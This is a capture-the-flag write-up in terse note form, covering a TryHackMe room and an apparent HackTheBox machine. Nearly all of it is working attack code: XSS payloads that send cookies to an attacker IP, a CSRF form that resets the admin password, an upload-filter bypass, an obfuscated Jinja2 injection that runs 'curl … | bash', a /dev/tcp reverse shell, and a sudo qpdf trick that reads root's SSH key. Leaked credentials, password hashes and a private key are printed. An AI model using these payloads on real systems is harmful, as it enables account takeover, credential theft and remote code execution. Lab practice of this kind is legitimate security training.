# XSS to Admin
[TOC]
# LAB -1 XSS-Register page (Steal Cookie)/ CSRF - Chat Rome (Reset Admin Password) (NO filter)
https://tryhackme.com/r/room/whatsyourname
Recon
```
TARGET_IP=10.10.170.126
nmap TARGET_IP
nmap TARGET_IP -sV -sC
```
```
TARGET_DOMAIN='worldwap.thm'
echo "$TARGET_IP $TARGET_DOMAIN" >> /etc/hosts
```
Directory Enumerate
Initial Scanning
```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$TARGET_IP -t 10
```
Website -> PHP
DB Login !
Enumerate PHP file !
```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php -u http://$TARGET_IP/ -t 10
```
```
http://10.10.170.126/login.php
```
```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -u http://$TARGET_IP/ -t 30
```
Register Page
http://worldwap.thm/public/html/register.php
Register Page didn't have HTTP only
Attempt inject XSS to fetch token
```
python3 -m http.server 80
```
```
<svg onload="fetch('http://10.6.70.160:80?id=1', {method: 'POST',mode: 'no-cors',body: document.cookie});"></svg>
```
```
PHPSESSID=2a7uibfrhdir3emrgra2j7b0bi
```
Access `login.worldwap.thm`
```
TARGET_DOMAIN='login.worldwap.thm'
echo "$TARGET_IP $TARGET_DOMAIN" >> /etc/hosts
```
```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u worldwap.thm -t 30
```
```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php -u worldwap.thm/public/html/ -t 30 --cookies 'PHPSESSID=2pl85dtr7icq9mi6qv1acnokpd'
```
Add cookie !
Upload
```
<?php phpinfo() ?>
```
Upload Bypass
Magic Number
JPG
```
FF D8 FF E0
```
```
XXXX
<?php phpinfo() ?>
```
```
hexedit test.php
```
F2 save
ctrl + X : exit
F1 : command help
Upload Bypass
Chat Room
```
http://login.worldwap.thm/chat.php
```
Testing XSS
Work
```
<svg onload="alert(1)"></svg>
```
Reset Password
```
<html>
<body>
<form action="http://login.worldwap.thm/change_password.php" method="POST">
<input type="hidden" name="new_password" value="meowmeow" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Base64 encode URL bypass
```
<html>
<body>
<form id="myForm" method="POST">
<input type="hidden" name="new_password" value="meowmeow" />
</form>
<script>
var form = document.getElementById("myForm");
var actionUrl = atob("aHR0cDovL2xvZ2luLndvcmxkd2FwLnRobS9jaGFuZ2VfcGFzc3dvcmQucGhw");
form.setAttribute("action", actionUrl);
form.submit();
</script>
</body>
</html>
```
Work !!!!
```
AdM!nP@wnEd
```
admin Session
```
PHPSESSID=vr904o45mohb1lhj2o3kt8b7lu
```
Solved !!
# Lab-2 : XSS - Send Message From (steal Cookie)/ User input be insecure embedding to Template SSTI/XSS (pyhton) -> SSTI RCE (filter bypass) / Sudo - qpdf read /root/.ssh/id_ras
```
TARGET_IP=10.10.11.12
TARGET_DOMAIN='capiclean.htb/'
```
```
nmap $TARGET_IP -sV -sC -T4
```
```
echo "$TARGET_IP $TARGET_DOMAIN" >> /etc/hosts
```
```
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u -x .py http://$TARGET_IP -t 10 -k
```
```
<img src=x onerror=fetch(`//10.10.14.79:443/?A=${encodeURIComponent(document.cookie)}`);>
```
```
session%3DeyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zjr5MQ.Deh8SN1QxslwHu6Owubhq7fC_lc
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zjr5MQ.Deh8SN1QxslwHu6Owubhq7fC_lc
```
Access DashBoard Via Cookie
```
"><iMg src=x onerror=\70rompt`meow`>
"><iMg src=x onerror=alert`meow`>
```
Reflect - XSS
SSTI Injecting
Template -> Jinja2 (Python)
```
{% import os %}{{os.system('whoami')}}
```
Fail
```
bash -i >& /dev/tcp/10.10.14.79/443 0>&1
```
```
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.10.14.79:80/reshell | bash")|attr("read")()}}
```
Get Reverse Shell !!
```
host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
```
SSh login fail
```
1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
```
```
simple and clean
```
Exploit
```
sudo qpdf --empty /tmp/rsa.txt --qdf --add-attachment /root/.ssh/id_rsa --
```
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
```
```
chmod 600 rsa
ssh root@10.10.11.12 -i rsa
```
solved
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Connect another wallet